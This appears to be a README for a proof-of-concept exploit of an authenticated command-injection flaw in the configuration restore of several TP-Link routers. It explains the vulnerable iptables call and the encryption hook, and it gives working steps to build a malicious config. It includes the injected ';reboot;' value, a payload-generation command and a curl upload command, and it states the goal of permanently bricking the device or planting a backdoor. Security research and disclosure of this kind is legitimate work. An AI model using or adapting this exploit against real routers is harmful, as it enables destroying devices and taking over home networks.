
Proof-of-concept for authenticated OS command injection in TP-Link router firmware. Includes decryption, QEMU-based encryption hook, and 15-character payload generation for persistent bootloop or backdoor deployment.
For more Information see https://www.cve.org/CVERecord?id=CVE-2026-3227
A persistent, authenticated OS Command Injection vulnerability in TP-Link router firmware leading to device bricking or potential LAN takeover.
Disclaimer: This repository contains proof-of-concept (PoC) code for a patched vulnerability. It is intended for educational purposes and for security researchers.
A command-injection vulnerability exists in the configuration backup/restore mechanism of several TP-Link routers (including TL-WR802N, TL-WR841N, and TL-WR840N). An attacker with administrative access can download the router's configuration, decrypt it, inject a malicious OS command (up to 15 characters) into specific XML fields, re-encrypt it, and upload it back to the device.
When the router applies the configuration (e.g., during port trigger events or at startup), the injected payload is executed as root. This can be used to cause a persistent bootloop (bricking the device permanently by surviving factory resets) or potentially enable a persistent backdoor for LAN pivoting.
While exploring the router’s configuration backup feature, I decided to reverse-engineer the httpd binary and the libcmm.so library to understand how configuration files are encrypted and parsed.
qemu-user and hooked the router’s original httpd binary at runtime (create_config.c). This allowed me to invoke the router’s native encryption functions directly from my Python PoC, perfectly mimicking the original encryption format.The vulnerability lies in how the product parses the encrypted configuration blob and applies it at runtime. In the port-triggering configuration path, the implementation constructs shell commands using user-controllable fields without proper sanitization.
Specifically, the function oal_pt_addPortTrigger calls:
util_execSystem("oal_pt_addPortTrigger",
"iptables -A FORWARD_PT -i br+ -p %s -j TRIGGER --trigger-type out --trigger-proto %s --trigger-match %d-%d --trigger-relate %d-%d",
&local_48, &local_44, *(undefined4 *)(param_2+4), *(undefined4 *)(param_2+4), *psVar3, psVar3[1]);
The %s format string is populated with an interface string (X_TP_IfName) parsed directly from the uploaded XML configuration.
The execution flow:
http_cgi_gdpr_main -> rdp_setObj -> rsl_setObj -> oal_pt_addPortTriggeroal_pt_addPortTrigger calls forward_parsePtOpenPort to parse port lists.iptables command string and executes it via util_execSystem (which wraps system()).By modifying the decrypted XML to include:
<X_TP_IfName val=";reboot;"/>
The command is executed during interface initialization at startup or when a port-trigger event occurs. Because the payload is limited to 15 characters, crafting the exploit requires compact command execution techniques.
To avoid distributing copyrighted TP-Link binaries, this PoC requires you to extract the router's file system yourself to utilize the native encryption libraries via a custom QEMU hook.
qemu-mipsel and a cross-compiler (gcc-mipsel-linux-gnu)pip install pycryptodome)binwalk -Me <firmware.bin>squashfs-root directory into 'python_utils/' of this project.mipsel-linux-gnu-gcc -shared -fPIC -g -O0 c_hook/create_config.c -o python_utils/create_config.so
config.bin).python3 generate_payload.py -i config.bin -o exploit.bin -p ";reboot;"
curl -X POST "http://192.168.0.1/cgi/confup" \
-H "User-Agent: Mozilla/5.0" \
-H "Referer: http://192.168.0.1/mainFrame.htm" \
-H "Origin: http://192.168.0.1" \
-H "Cookie: JSESSIONID=<JSESSIONID_COOKIE>" \
-F "[email protected];type=application/octet-stream"
root. If you used ;reboot;, the router will immediately restart and enter a persistent bootloop.